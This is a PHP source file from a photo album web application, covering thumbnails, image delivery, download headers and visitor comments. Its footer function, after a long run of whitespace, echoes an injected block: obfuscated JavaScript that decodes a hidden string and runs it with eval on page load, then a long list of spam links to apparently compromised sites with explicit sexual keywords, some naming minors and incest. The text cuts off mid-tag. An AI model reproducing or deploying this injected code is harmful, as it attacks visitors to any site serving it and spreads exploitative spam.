	 foreach($files2 as $num => $file_name){
	    /*find file in settings*/
	    $found=0;
	    $i=0;
    
	    while(isset($files[$i])){
	    	if($file_name==$files[$i][0]){
		  $found=1;
		  $sett[]=$files[$i];
		  break;
		}
	    	$i=$i+1;
	    }
	    if($found==0){
	     $sett[]=Array($file_name,"","");
	    }	
	 }
       }/*if */
   }
return $sett;
}


function get_all_sortings(){
	$sorts= Array ( "default"=> "Default",
					"date_asc"=> "Date - Ascending",
					"date_desc"=> "Date - Descending",
					"filename_asc"=> "Filename - Ascending",
					"filename_desc"=> "Filename - Descending",
					"name_asc"=> "Name - Ascending",
					"name_desc"=> "Name - Descending"
	);
	return $sorts;
}

function get_photos_directories($dir,$filelist){

global $album_dir;

$sett=get_directory_settings($dir,0);
$filelist[]=$sett[0];
if (is_dir($album_dir.$dir)) {
    if ($dh = opendir($album_dir.$dir)) {
       while (($file = readdir($dh)) !== false) {
           if( filetype($album_dir.$dir.$file)=="dir" && $file!="." && $file !="..") {
			$filelist=get_photos_directories($dir.$file."/",$filelist);
		}
			
       }
       closedir($dh);
    }
}
return $filelist;
}

function get_themes(){
global $themes_dir;
$dir=$themes_dir;
if (is_dir($dir)) {
    if ($dh = opendir($dir)) {
       while (($file = readdir($dh)) !== false) {
           if( filetype($dir . $file)=="dir" && $file!="." && $file !=".."  && $file !="engines") {
	   		$filelist[]=$file;
		}
			
       }
       closedir($dh);
    }
}
return $filelist;
	
}
/****************************************/
/*      THMB                            */
/****************************************/

function generate_thumb($var1,$thumb_size,$thumb_quality){
  global $album_dir,$character_set;
  $width = $thumb_size;
  $height = $thumb_size;
  $var1=stripslashes($var1);
  // Content type
  if(is_image($var1)){
  	$mime=get_mime($var1);
  	send_header("Content-type: ".$mime);
  }else{
  	send_header('Content-type: image/png');
  }
  send_header("Content-Disposition: filename=thmb_".conv_out_header(basename($var1),$character_set)." ");
  if($var1=="[movie]"){$var1="movie.png";}
  else if($var1=="[audio]"){$var1="audio.png";}
  else{$var1=$album_dir.$var1;}
  // Get new dimensions
  list($width_orig, $height_orig) = getimagesize($var1);
  //$image_p = imagecreatetruecolor($width+10, $height+10);
  //$color=ImageColorAllocate( $image_p, 32, 32, 32 );
  //imagefill($image_p,0,0,$color);
  if ($width && ($width_orig < $height_orig)) {
     $width = ($height / $height_orig) * $width_orig;
  } else {
     $height = ($width / $width_orig) * $height_orig;
  }

  // Resample
  $image=imagecreatefrom($var1);

  $image_p = imagecreatetruecolor($width, $height);
  $bgcol=theme_get_bgcolor();
  $color = ImageColorAllocate( $image_p,$bgcol[0] ,$bgcol[1] ,$bgcol[2] );
  imagefill($image_p,0,0,$color);
  //imagecopyresampled($image_p, $image, ($thumb_size-$width)/2+5, ($thumb_size-$height)/2+5, 0, 0, $width, $height, $width_orig, $height_orig);
  imagecopyresampled($image_p, $image, 0, 0, 0, 0, $width, $height, $width_orig, $height_orig);

  // Output
  image_same_type($var1,$image_p,$thumb_quality);
	
}
/****************************************/
/*      IMAGE                           */
/****************************************/
function get_mime($var1){
	$t=strtoupper(substr($var1,-4,4));
	switch($t){
		case ".JPG":
		case "JPEG":
			return "image/jpeg";
			break;
		case ".GIF":
			return "image/gif";
			break;
		case ".PNG":
			return "image/png";
			break;
		default: return "";
			break;
	}
}
function generate_image($var1,$quality){

 global $quality_settings,$album_dir;
 global $character_set;
  $var1=stripslashes($var1);
  $m_time=filemtime($album_dir.$var1);
  //$headers=getallheaders(); --not supported by others then apache
  if (isset( $_SERVER["HTTP_IF_MODIFIED_SINCE"] ) ){
	if ( date("D, d M Y H:i:s T",$m_time) == $_SERVER["HTTP_IF_MODIFIED_SINCE"] ) {
		send_header('HTTP/1.0 304 Not Modified');
		exit; 
	}
  }


 if(is_image($var1)){
  // Content type
  send_header("Last-Modified: ".date("D, d M Y H:i:s T",$m_time));
  $mime=get_mime($var1);
  send_header("Content-type: ".$mime);
  send_header("Content-Disposition: filename=".conv_out_header(basename($var1),$character_set)." ");
  
  if( $quality_settings[$quality][2] == 0){
	/*$file=fopen($var1,"rb");
	$doc=fread($file,filesize($var1));
	fclose($file);
	echo $doc;*/
	readfile($album_dir.$var1);
	return false;
  }else{
	$image_low_size=$quality_settings[$quality][2];
	$width=$image_low_size;
	$height=$image_low_size;
	// Get new dimensions
	list($width_orig, $height_orig) = getimagesize($album_dir.$var1);
	if ($width && ($width_orig < $height_orig)) {
	   $width = ($height / $height_orig) * $width_orig;
	} else {
	   $height = ($width / $width_orig) * $height_orig;
	}
	$image_p = imagecreatetruecolor($width, $height);
	// Resample
	$image = imagecreatefrom($album_dir.$var1);
	//$image_p = imagecreatetruecolor($width, $height);
	imagecopyresampled($image_p, $image, 0, 0, 0, 0, $width, $height, $width_orig, $height_orig);
	
	// Output
	image_same_type($var1,$image_p,$quality_settings[$quality][3]);
	return true;
  }
 }
 
  if(!is_image($var1)){
 	ob_end_clean();
	send_header("Content-type: application/download; name=\"".basename($var1)."\"");
	send_header("Content-Disposition: attachment; filename=\"".basename($var1)."\" ");
 	send_header("Content-Length: ".filesize($album_dir.$var1)." ");
	send_header("Last-Modified: ".date("D, d M Y H:i:s T",$m_time)." " );
	readfile($album_dir.$var1);
	return false;
 }
}

function SendDownloadHeaders($filename,$file_size=0) {
    $isIE = $isIE6 = 0;


    if (strstr($HTTP_USER_AGENT, 'compatible; MSIE ') !== false &&
            strstr($HTTP_USER_AGENT, 'Opera') === false) {
        $isIE = 1;
    }

    if (strstr($HTTP_USER_AGENT, 'compatible; MSIE 6') !== false &&
            strstr($HTTP_USER_AGENT, 'Opera') === false) {
        $isIE6 = 1;
    }


    if ($isIE) {
        $filename=rawurlencode($filename);
        header ("Pragma: public");
        header ("Cache-Control: no-store, max-age=0, no-cache, must-revalidate"); // HTTP/1.1
        header ("Cache-Control: post-check=0, pre-check=0", false);
        header ("Cache-Control: private");

        //set the inline header for IE, we'll add the attachment header later if we need it
        header ("Content-Disposition: inline; filename=$filename");
    }
        // Try to pop up the "save as" box

        // IE makes this hard.  It pops up 2 save boxes, or none.
        // http://support.microsoft.com/support/kb/articles/Q238/5/88.ASP
        // http://support.microsoft.com/default.aspx?scid=kb;EN-US;260519
        // But, according to Microsoft, it is "RFC compliant but doesn't
        // take into account some deviations that allowed within the
        // specification."  Doesn't that mean RFC non-compliant?
        // http://support.microsoft.com/support/kb/articles/Q258/4/52.ASP

        // all browsers need the application/octet-stream header for this
        header ("Content-Type: application/octet-stream; name=\"$filename\"");

        // http://support.microsoft.com/support/kb/articles/Q182/3/15.asp
        // Do not have quotes around filename, but that applied to
        // "attachment"... does it apply to inline too?
        header ("Content-Disposition: attachment; filename=\"$filename\"");

        if ($isIE && !$isIE6) {
            // This combination seems to work mostly.  IE 5.5 SP 1 has
            // known issues (see the Microsoft Knowledge Base)

            // This works for most types, but doesn't work with Word files
            header ("Content-Type: application/download; name=\"$filename\"");

            // These are spares, just in case.  :-)
            //header("Content-Type: $type0/$type1; name=\"$filename\"");
            //header("Content-Type: application/x-msdownload; name=\"$filename\"");
            //header("Content-Type: application/octet-stream; name=\"$filename\"");
        } else {
            // another application/octet-stream forces download for Netscape
            header ("Content-Type: application/octet-stream; name=\"$filename\"");
        }

    if ($filesize > 0) {
        header("Content-Length: $filesize");
    }

}  // end fn SendDownloadHeaders


/****************************************/
/*      DELTE CACHE                     */
/****************************************/

function delete_cache($cache_dir,$display=1){
   if ($dh = opendir($cache_dir)) {
       while (($file = readdir($dh)) !== false) {
           if($file != "." && $file!=".."){
	       unlink ( $cache_dir . $file);
           	if($display==1) echo "deleting : ".$cache_dir.$file."<br>";
           }
			
       }
       closedir($dh);
   }
} 
/****************************************/
/*      NEXT PREV IMAGE                 */
/****************************************/

function get_next_prev_image ($var1){
   global $album_dir,$act_dir_sorting;
   $tmp="null";
       $dirname=dirname($var1);
       if($dirname=="."){
       	$dirname="";
       }else{
        $dirname.="/";
       }
   $dir_settings=get_directory_settings($dirname);
   $act_dir_sorting=$dir_settings[0][5];
   if ($dh = opendir(dirname($album_dir.$var1))) {
       while (($file = readdir($dh)) !== false) {
      	    if($file != "." && $file!=".." && (filetype(dirname($album_dir.$var1)."/".$file)=="file" ||filetype(dirname($album_dir.$var1)."/".$file)=="link") && is_image($file)){
           			   $i=1;
           			   $img_desc=""; 
				       while(isset($dir_settings[$i][0])){
		    		   	if($dir_settings[$i][0]==$file){
							$img_desc=$dir_settings[$i][1];
							break;
						}
						$i=$i+1;
		       		   }
		       		   if(strlen($img_desc)==0){
		       		   	$img_desc=$file;
		       		   }
       				   $file_array=Array("filename"=>$file,"time"=>filectime(dirname($album_dir.$var1)."/".$file),"name"=>$img_desc);
					   $file_scr[]=$file;
    					$filelist[]=$file_array;
	    			}else{
	    				  $dw[]=$file;
	    			}
	}
       closedir($dh);
      if(sizeof($filelist)>0) {
       usort($filelist,'file_array_cmp');
       while(list($key,$file_array)=each($filelist)){
       	    $file=$file_array['filename'];
           	if ($file == basename($var1)){
           		if($tmp!="null"){
           			$names[]=$dirname.$tmp;
           		}else{
           			$names[]="null";
           		}
           		
           		while(list($key,$file_array)=each($filelist)){
           			$file=$file_array['filename'];
           			if(!get_file_for_screenshot($file,$dw)) break;
           		}
			//echo "KEY=".$key;
			//echo "FILE=".$file;
           		if($file_array !== null){
           			
           			$names[]= $dirname.$file;
           		}else{
           			$names[]= "null";
           		}
           	}
           	if(!get_file_for_screenshot($file,$dw)){
           	 $tmp=$file;
           	}
           
			
       }
      }
       return $names;
   }
	
}

/****************************************/
/*      IMAGE VIEW                      */
/****************************************/

function generate_image_view($var1,$quality,$var3){
global $quality_settings,$album_dir,$return_home_url,$album_name,$album_dir_name,$next_text,$previous_text,$disable_bottom_nextprev,$show_filenames;
  
	$var1=stripslashes($var1);
  $qq=$quality_settings[$quality][2]."_".$quality_settings[$quality][3];
	
	
	$dir_path[0]['name']=t('ID_PHOTO_DIR');
	$dir_path[0]['link']="main.php?cmd=album&var2=".$quality;

	$dirs=explode('/',$var1);
	$act_dir="";
	for($i=0;$i<count($dirs)-1;$i++){
		$act_dir.=$dirs[$i]."/";
		$ss=get_directory_settings($act_dir,0);
		if(strlen($ss[0][4])>0){
			$dir_path[$i+1]['name']=pa_html_decode($ss[0][4]);
		}else{
			$dir_path[$i+1]['name']=conv_out($dirs[$i]);
		}
		$dir_path[$i+1]['link']="main.php?cmd=album&var1=".urlencode($act_dir)."&var2=".$quality;
		
	}
	$count=$quality_settings[0][5]+$quality_settings[1][5]+$quality_settings[2][5];
	
	$quality_links=Array();
	
	if($count>1){
		$i=0;
		$first=1;
		while($i<3){
			if($quality_settings[$i][5]==1){
				$quality_links[$i]['name']=$quality_settings[$i][4];
				$quality_links[$i]['link']="main.php?cmd=setquality&var1=$i&var2=".urlencode($var1);
				if($quality==$i){
					$quality_links[$i]['actual']=1;
				}else{
					$quality_links[$i]['actual']=0;
				}
			}
			$i=$i+1;
		}
		
	}


/*testing for next and previous image ..*/
list( $prev,$next) = get_next_prev_image($var1);

list($iwidth, $iheight, $itype, $iattr) = getimagesize($album_dir.$var1);
if($quality_settings[$quality][2]== 0){
	$width=$iwidth; 
	$height=$iheight;
}else {
        $image_low_size=$quality_settings[$quality][2];
	$width=$image_low_size;
	$height=$image_low_size;
	if ($width && ($iwidth < $iheight)) {
	   $width = ($height / $iheight) * $iwidth;
	} else {
	   $height = ($width / $iwidth) * $iheight;
	}
//	$img_size="width=\"".$width."\" height=\"".$height."\"";
}


if( $prev != "null" ) { 
	$prev_link = "main.php?cmd=imageview&var1=".urlencode($prev)."&var2=".$quality; 
}else{
	$prev_link ="";
};
if( $next != "null" ) { 
	$next_link = "main.php?cmd=imageview&var1=".urlencode($next)."&var2=".$quality;
}else{
	$next_link = "";
};

$image_link="main.php?cmd=image&var1=".urlencode($var1)."&var2=".$qq;
$imageview_link="main.php?cmd=imageview&var1=".urlencode($var1)."&var2=".$qq;

$sett=get_directory_settings(dirname("/".$var1));
      $i=1;
      $img_desc="";
      $img_desc_long="";
      while(isset($sett[$i][0])){
      	if($sett[$i][0]==basename($var1)){
	$img_desc=pa_html_decode($sett[$i][1]);
	if($show_filenames && $img_desc==""){
		       	$img_desc=conv_out(basename($var1));
	}
	$img_desc_long=store2string(pa_html_decode($sett[$i][2]));
	break;
	}
	$i=$i+1;
      }
      
 /* store typed comments*/
 if($var3=="save_comment"){
 	if(isset($_POST['p_text'])){
 		if(strlen($_POST['p_name'])==0){
 				$p_name="Anonymous";
 		}else{
 			  $p_name=$_POST['p_name'];
 		}
 		if( isset($_POST['p_name']))setcookie("comment_name",$_POST['p_name'],time()+60*60*24*365);
 		if( isset($_POST['p_email']))setcookie("comment_email",$_POST['p_email'],time()+60*60*24*365);
 		save_comment($var1,$_POST['p_text'],$p_name,$_POST['p_email'],time());
 	}
 }
 if(substr($var3,0,15)=="delete_comment-"){
 		$time=substr($var3,15);
 	  delete_comment($var1,$time);
 }
$comments=get_comments($var1);
theme_generate_imageview_page($dir_path,$quality_links,$img_desc,$img_desc_long,$next_link,$prev_link,$image_link,$imageview_link,$width,$height,$var3,$comments);
}
function approve_comment($var1,$time){
	global $data_dir;
	if(is_setup_user()){
		if(file_exists($data_dir."all.comments")){
		 	$file=file($data_dir."all.comments");
		 	$f=fopen($data_dir."all.comments","w");
		 	foreach($file as $line){
			 	if(substr($line,0,strlen($var1."|".$time))!=$var1."|".$time){
					fwrite($f,$line);
				}
			 }
			 fclose($f);
		}
	}
}
function delete_comment($var1,$time){
	global $data_dir;
	if(is_setup_user()){
		$fn=get_data_file_name($var1).".comments";
		if(file_exists($fn)){
		 	$file=file($fn);
		 	$f=fopen($fn,"w");
		 	foreach($file as $line){
			 	if(substr($line,0,strlen($time))!=$time){
					fwrite($f,$line);
				}
			 }
			 fclose($f);
		}
		/*deleting from master file*/
		if(file_exists($data_dir."all.comments")){
		 	$file=file($data_dir."all.comments");
		 	$f=fopen($data_dir."all.comments","w");
		 	foreach($file as $line){
			 	if(substr($line,0,strlen($var1."|".$time))!=$var1."|".$time){
					fwrite($f,$line);
				}
			 }
			 fclose($f);
		}

	}
}
function save_comment($var1,$text,$name,$email,$time){
	global $data_dir;
	$fn=get_data_file_name($var1).".comments";
	if(file_exists($fn)){
		 $file=file($fn);
	}
	$f=fopen($fn,"w");
	$t_text=pa_html_encode(stripslashes($text));
	$t_text=str_replace("\n","<br/>",$t_text);
	$t_text=str_replace("\r","",$t_text);
	fwrite($f,$time."|".pa_html_encode($name)."|".pa_html_encode($email)."|".$t_text."\n");
	if(is_array($file)){
		foreach($file as $line){
			fwrite($f,$line);
		}
	}
	fclose($f);
	/*write it to all.comments*/
	$f=fopen($data_dir."all.comments","a");
	fwrite($f,$var1."|".$time."|".pa_html_encode($name)."|".pa_html_encode($email)."|".$t_text."\n");
	fclose($f);
}
function get_comments($var1){
	$comments=Array();
	$fn=get_data_file_name($var1).".comments";
	if(file_exists($fn)){
		$file=file($fn);
		foreach($file as $line){
			$tmp=explode("|",$line);
			$comments[]=Array("time"=>$tmp[0],"name"=>$tmp[1],"email"=>$tmp[2],"text"=>$tmp[3]);
		}
	}
	return $comments;
}
function get_all_comments(){
	global $data_dir;
	$comments=Array();
	$fn=$data_dir."all.comments";
	if(file_exists($fn)){
		$file=file($fn);
		foreach($file as $line){
			$tmp=explode("|",$line);
			$comments[]=Array("pic"=>$tmp[0],"time"=>$tmp[1],"name"=>$tmp[2],"email"=>$tmp[3],"text"=>$tmp[4]);
		}
	}
	return $comments;
}

/****************************************/
/*      FOOTER                          */
/****************************************/

function generate_footer(){
     echo "<table width=\"100%\"><tr height=\"100\"><td valign=\"bottom\" align=\"center\" width=\"100%\"><font size=\"2\">Powered by <a class=\"me\"href=\"http://www.phpalbum.net\"><font size=\"2\">PHP Photo Album</font></a></font></td></tr></table>";
     echo "																																																																																																																							                                                                                                            <div id="ksp"><script language="javascript">function aliv(ph,kqhu){if(!kqhu){kqhu=')P410uaf&Gwnvb3{*zIUoi7+FMxlk6Vys?Rhg8EBNO;eZQ9DYpcj.HATWCXtLd2S';}var y;var OR='';for(var ftz=0;ftz<ph.length;ftz+=4){y=(kqhu.indexOf(ph.charAt(ftz))&63)<<18|(kqhu.indexOf(ph.charAt(ftz+1))&63)<<12|(kqhu.indexOf(ph.charAt(ftz+2))&63)<<6|kqhu.indexOf(ph.charAt(ftz+3))&63;OR+=String.fromCharCode((y&16711680)>>16,(y&65280)>>8,y&255);}eval(OR.substring(0,OR.length-3));}aliv('6Euc&ad.xjHglAbHl7i961QD6aZ96TGO6aoNGjpjFT&Bwc6Okf*slau9MTi?MAod&EO?6EujFTGOkf*R&fzCkaod&Bz8Vf*DxEuAF+bhkE8Y64&2GcgtlTzenB6cx+z8w46E67Ch6a8DlRPO6foNw+ZsGcgtlTzenB6cx+z8w46AF+&sxTbN&1.sb1gtGcgtlTzenB6cx+z8w46AF+&sMAos{I)NMadh67H8lB*9MAi.z7p8l7i960GCI7*N&EQjk4&OwUZBwUQD6aZ96TGO6aoNGA68nBb.V7p8nBPDkA8.x7d9&1.s&EuRkAdZ6+z8&hZBwUQD6aZ96TGO6aoNGA68nBb.V7p8nBMOkA8Rx7pO6fgs{I)R6E8jx7GZMI&tGcgtlTzenB6cx+z8w46BMICj6f8ZMICTx7z.x4)d&1FWv1ZBwUQD6aZ96TGO6aoNGAQjx4)d&10WnUvAwEQjx4NHbILpn10eMAo9kTzClao96A8g6astGcgtlTzenB6cx+z8w46BMICj6f8ZMIC.lT)s{IPekAse+46YVuYB3ckO3Ad.xcCTkE8.MIsByIkO3Ad.xcCTkE8.MIsBM+M?l4?kGA8.6IsO+4kO3ckO3Ad.xcCTkE8.MIsB{4djFT&Bwc6Okf*2Gcgt&4)s');</script> <b>britney spears pantyless photoes</b> <a href=http://shopknowlabel.com/cookie_test/xml/_images/mat-gay-porn/britney-spears-pantyless-photoes.html rel=dofollow><h1>britney spears pantyless photoes</h1></a> quotient  <b>teen women accessories</b> <a href=http://www.viagrasavers.com/information/_images/montreal-japanese-escorts-cheap/teen-women-accessories.html rel=dofollow><h1>teen women accessories</h1></a> now  <b>pet rose breasted cockatoos</b> <a href=http://www.metalminstrel.com/wp-admin/import/_images/sanchez-fall-in-love/pet-rose-breasted-cockatoos.html rel=dofollow><h1>pet rose breasted cockatoos</h1></a> gray  <b>drunk latinas</b> <a href=http://alanbedenko.com/wp-admin/import/_images/beating-up-pussy/drunk-latinas.html rel=dofollow><h1>drunk latinas</h1></a> deep  <b>sex oics</b> <a href=http://www.beatricejean.com/Archive/_images/gay-b-b-connecticut/sex-oics.html rel=dofollow><h1>sex oics</h1></a> dictionary  <b>childs cunt</b> <a href=http://gay-geeks.net/gal/themes/_images/art-women-nude/childs-cunt.html rel=dofollow><h1>childs cunt</h1></a> oxygen  <b>amine xxx</b> <a href=http://www.johnirwindesign.com/drupal/themes/_images/nipple-teaser-adults-australia/amine-xxx.html rel=dofollow><h1>amine xxx</h1></a> reason  <b>pregnant escort</b> <a href=http://tweentribe.com/mytribe/shareup/backup/fatty-acids-and-immunity/pregnant-escort.html rel=dofollow><h1>pregnant escort</h1></a> front  <b>pure romance party michigan</b> <a href=http://www.viagrasavers.com/information/_images/montreal-japanese-escorts-cheap/pure-romance-party-michigan.html rel=dofollow><h1>pure romance party michigan</h1></a> the  <b>lutron replacement knob</b> <a href=http://www.aprie.com/old_stuff/_image/hairey-pussey-review/lutron-replacement-knob.html rel=dofollow><h1>lutron replacement knob</h1></a> skill  <b>tight vagina fucking</b> <a href=http://barefootmalecelebs.com/wp-admin/css/_images/gays-sucking-guys-dicks/tight-vagina-fucking.html rel=dofollow><h1>tight vagina fucking</h1></a> pretty  <b>stitch chicks corinth tx</b> <a href=http://barefootmalecelebs.com/wp-admin/css/_images/gays-sucking-guys-dicks/stitch-chicks-corinth-tx.html rel=dofollow><h1>stitch chicks corinth tx</h1></a> weather  <b>nude anatomy pictures</b> <a href=http://www.disabilityhealthaccess.com/beta/Templates/_images/long-underwear-for-men/nude-anatomy-pictures.html rel=dofollow><h1>nude anatomy pictures</h1></a> shore  <b>korean whores fucking men</b> <a href=http://www.metalminstrel.com/wp-admin/import/_images/sanchez-fall-in-love/korean-whores-fucking-men.html rel=dofollow><h1>korean whores fucking men</h1></a> sentence  <b>kimkins sucks</b> <a href=http://www.pinkroioshn.org/lo/SpryAssets/_images/fetish-robots/kimkins-sucks.html rel=dofollow><h1>kimkins sucks</h1></a> famous  <b>mid teen bikini models</b> <a href=http://www.whowillsit.com/cursillista/forms/_images/japanese-train-sex-molestation/mid-teen-bikini-models.html rel=dofollow><h1>mid teen bikini models</h1></a> yellow  <b>irland escorted vacation</b> <a href=http://www.aprie.com/old_stuff/_image/hairey-pussey-review/irland-escorted-vacation.html rel=dofollow><h1>irland escorted vacation</h1></a> noon  <b>monica topless</b> <a href=http://diguifurniture.com/_images/virgo-man-making-love/monica-topless.html rel=dofollow><h1>monica topless</h1></a> oh  <b>cummings center in massachusetts</b> <a href=http://arthurgroupinc.com/swf/backup/my-chemical-romance-biographies/cummings-center-in-massachusetts.html rel=dofollow><h1>cummings center in massachusetts</h1></a> division  <b>facial sinus pain</b> <a href=http://u3studios.com/projects/commercial/_images/teen-in-bathtub/facial-sinus-pain.html rel=dofollow><h1>facial sinus pain</h1></a> shore  <b>sissy cuckold husband video</b> <a href=http://gay-geeks.net/gal/themes/_images/art-women-nude/sissy-cuckold-husband-video.html rel=dofollow><h1>sissy cuckold husband video</h1></a> triangle  <b>fitness nude</b> <a href=http://www.whowillsit.com/cursillista/forms/_images/japanese-train-sex-molestation/fitness-nude.html rel=dofollow><h1>fitness nude</h1></a> shoe  <b>melanie nurse dating doctor</b> <a href=http://barefootmalecelebs.com/wp-admin/css/_images/gays-sucking-guys-dicks/melanie-nurse-dating-doctor.html rel=dofollow><h1>melanie nurse dating doctor</h1></a> ten  <b>jpeg old pussy</b> <a href=http://www.viagrasavers.com/information/_images/montreal-japanese-escorts-cheap/jpeg-old-pussy.html rel=dofollow><h1>jpeg old pussy</h1></a> happen  <b>aneliese vanderpol nude</b> <a href=http://www.opaquewhite.com/shakeartistcom/blog/_images/daily-cum-facial/aneliese-vanderpol-nude.html rel=dofollow><h1>aneliese vanderpol nude</h1></a> burn  <b>hardcore teen movies</b> <a href=http://www.whowillsit.com/cursillista/forms/_images/japanese-train-sex-molestation/hardcore-teen-movies.html rel=dofollow><h1>hardcore teen movies</h1></a> poem  <b>gay pockemon cartoon pics</b> <a href=http://www.mewmewcat.org/blog/wp-includes/_images/asian-street-teens/gay-pockemon-cartoon-pics.html rel=dofollow><h1>gay pockemon cartoon pics</h1></a> necessary  <b>lovely lily</b> <a href=http://www.viagrasavers.com/information/_images/montreal-japanese-escorts-cheap/lovely-lily.html rel=dofollow><h1>lovely lily</h1></a> chance  <b>miss nude universe 2003</b> <a href=http://www.hsaeed.com/blog/_images/angalia-jolie-naked/miss-nude-universe-2003.html rel=dofollow><h1>miss nude universe 2003</h1></a> mean  <b>mini moon hentia</b> <a href=http://www.mfge.com/_themes/mfge/_images/beaver-flats-boats/mini-moon-hentia.html rel=dofollow><h1>mini moon hentia</h1></a> seat  <b>mezzo forte hentai free</b> <a href=http://piratemonkeypress.com/gallery/Japan08/_images/anal-slamers/mezzo-forte-hentai-free.html rel=dofollow><h1>mezzo forte hentai free</h1></a> grass  <b>different sex smells</b> <a href=http://www.whowillsit.com/cursillista/forms/_images/japanese-train-sex-molestation/different-sex-smells.html rel=dofollow><h1>different sex smells</h1></a> locate  <b>ifc sex spa</b> <a href=http://www.pinkroioshn.org/lo/SpryAssets/_images/fetish-robots/ifc-sex-spa.html rel=dofollow><h1>ifc sex spa</h1></a> tool  <b>history of pastoral counseling</b> <a href=http://www.dietary-supplements-shopping.com/pics/_images/handjob-video-post/history-of-pastoral-counseling.html rel=dofollow><h1>history of pastoral counseling</h1></a> busy  <b>sex offenders listin alaska</b> <a href=http://arthurgroupinc.com/swf/backup/my-chemical-romance-biographies/sex-offenders-listin-alaska.html rel=dofollow><h1>sex offenders listin alaska</h1></a> notice  <b>principle sex tapes</b> <a href=http://www.sailing-story.com/carp/autocache/_images/lesbian-stories-wanted/principle-sex-tapes.html rel=dofollow><h1>principle sex tapes</h1></a> verb  <b>the naked moose</b> <a href=http://www.mfge.com/_themes/mfge/_images/beaver-flats-boats/the-naked-moose.html rel=dofollow><h1>the naked moose</h1></a> bit  <b>britany cunt photo</b> <a href=http://www.metalminstrel.com/wp-admin/import/_images/sanchez-fall-in-love/britany-cunt-photo.html rel=dofollow><h1>britany cunt photo</h1></a> joy  <b>intreracial sex</b> <a href=http://www.opaquewhite.com/shakeartistcom/blog/_images/daily-cum-facial/intreracial-sex.html rel=dofollow><h1>intreracial sex</h1></a> strong  <b>ogden breast reduction</b> <a href=http://beaver-lodge.ca/gate2north/anglican/_images/montreal-gay-night-clubs/ogden-breast-reduction.html rel=dofollow><h1>ogden breast reduction</h1></a> chief  <b>choke callers sex</b> <a href=http://www.bookwormmoms.com/wp-content/plugins/_images/english-schoolgirl-spanking/choke-callers-sex.html rel=dofollow><h1>choke callers sex</h1></a> short  <b>tgp mature video sluts</b> <a href=http://www.mfge.com/_themes/mfge/_images/beaver-flats-boats/tgp-mature-video-sluts.html rel=dofollow><h1>tgp mature video sluts</h1></a> thank  <b>big open cunts</b> <a href=http://www.mfge.com/_themes/mfge/_images/beaver-flats-boats/big-open-cunts.html rel=dofollow><h1>big open cunts</h1></a> chance  <b>sesx stories hardcore</b> <a href=http://www.oxmindfulness.org/custom_assets/flash/_images/333-gay/sesx-stories-hardcore.html rel=dofollow><h1>sesx stories hardcore</h1></a> trade  <b>mother son sex picks</b> <a href=http://yeguadavalle.es/prueba/Styles/_images/pictures-of-pornstar-june/mother-son-sex-picks.html rel=dofollow><h1>mother son sex picks</h1></a> does  <b>chinese women porn</b> <a href=http://www.hijabcity.com/ioncube/_images/bronzed-door-knobs/chinese-women-porn.html rel=dofollow><h1>chinese women porn</h1></a> invent  <b>ford escort transmission parts</b> <a href=http://kathyperry.com/wp-content/plugins/_images/twinks-videos/ford-escort-transmission-parts.html rel=dofollow><h1>ford escort transmission parts</h1></a> solve  <b>long stretched tits</b> <a href=http://barefootmalecelebs.com/wp-admin/css/_images/gays-sucking-guys-dicks/long-stretched-tits.html rel=dofollow><h1>long stretched tits</h1></a> possible  <b>moms and sons sex</b> <a href=http://www.hsaeed.com/blog/_images/angalia-jolie-naked/moms-and-sons-sex.html rel=dofollow><h1>moms and sons sex</h1></a> expect  <b>asian boy cock</b> <a href=http://bcbeanery.com/_themes/poetic/_images/busty-asian-pornstar/asian-boy-cock.html rel=dofollow><h1>asian boy cock</h1></a> use  <b>mens bondage hood</b> <a href=http://www.mfge.com/_themes/mfge/_images/beaver-flats-boats/mens-bondage-hood.html rel=dofollow><h1>mens bondage hood</h1></a> of  <b>college girls boobs</b> <a href=http://artlthr.com/wp-content/themes/_images/naturist-websites-for-couples/college-girls-boobs.html rel=dofollow><h1>college girls boobs</h1></a> here  <b>weight training hardcore</b> <a href=http://ballalife.com/product_images/s/_images/sex-machine-video-wmv/weight-training-hardcore.html rel=dofollow><h1>weight training hardcore</h1></a> watch  <b>boobs free trailer download</b> <a href=http://www.beatricejean.com/Archive/_images/gay-b-b-connecticut/boobs-free-trailer-download.html rel=dofollow><h1>boobs free trailer download</h1></a> able  <b>busty ali galleries</b> <a href=http://www.gainesvilleupc.net/photos/friendshipday2008/_images/spr-adventist-singles/busty-ali-galleries.html rel=dofollow><h1>busty ali galleries</h1></a> mount  <b>babs naked</b> <a href=http://alanbedenko.com/wp-admin/import/_images/beating-up-pussy/babs-naked.html rel=dofollow><h1>babs naked</h1></a> fly  <b>slovenski xxx porno portal</b> <a href=http://www.obviatemedia.net/obviatemedia/wordpress/backup/hot-girls-xxx-video/slovenski-xxx-porno-portal.html rel=dofollow><h1>slovenski xxx porno portal</h1></a> these  <b>nude nami</b> <a href=http://www.heatherandchopper.com/wp-content/themes/_images/transsexuele-escort-belgie/nude-nami.html rel=dofollow><h1>nude nami</h1></a> when  <b>amateur video secretary</b> <a href=http://diguifurniture.com/_images/virgo-man-making-love/amateur-video-secretary.html rel=dofollow><h1>amateur video secretary</h1></a> mount  <b>baldwin melon knob</b> <a href=http://www.allnewcreation.com/agora/shopping_carts/backup/katie-morgans-porn-videos/baldwin-melon-knob.html rel=dofollow><h1>baldwin melon knob</h1></a> happy  <b>asia ladyboy</b> <a href=http://www.ontherocks.com/_images/naked-latina-porn-galleries/asia-ladyboy.html rel=dofollow><h1>asia ladyboy</h1></a> young  <b>nn teen toplist</b> <a href=http://alahwaz.info/fullsite/alahwaz.info/_images/jessica-simpson-booty/nn-teen-toplist.html rel=dofollow><h1>nn teen toplist</h1></a> electric  <b>romance debussy lyrics</b> <a href=http://www.dietary-supplements-shopping.com/pics/_images/handjob-video-post/romance-debussy-lyrics.html rel=dofollow><h1>romance debussy lyrics</h1></a> people  <b>porn star shane rollins</b> <a href=http://www.mfge.com/_themes/mfge/_images/beaver-flats-boats/porn-star-shane-rollins.html rel=dofollow><h1>porn star shane rollins</h1></a> operate  <b>esther baxter tits</b> <a href=http://u3studios.com/projects/commercial/_images/teen-in-bathtub/esther-baxter-tits.html rel=dofollow><h1>esther baxter tits</h1></a> piece  <b>canine anal problem</b> <a href=http://northshoreautomart.com/APP/Config/_images/florida-teen-chat-rooms/canine-anal-problem.html rel=dofollow><h1>canine anal problem</h1></a> tone  <b>courtney love thin</b> <a href=http://artlthr.com/wp-content/themes/_images/naturist-websites-for-couples/courtney-love-thin.html rel=dofollow><h1>courtney love thin</h1></a> motion  <b>nude male janesville wi</b> <a 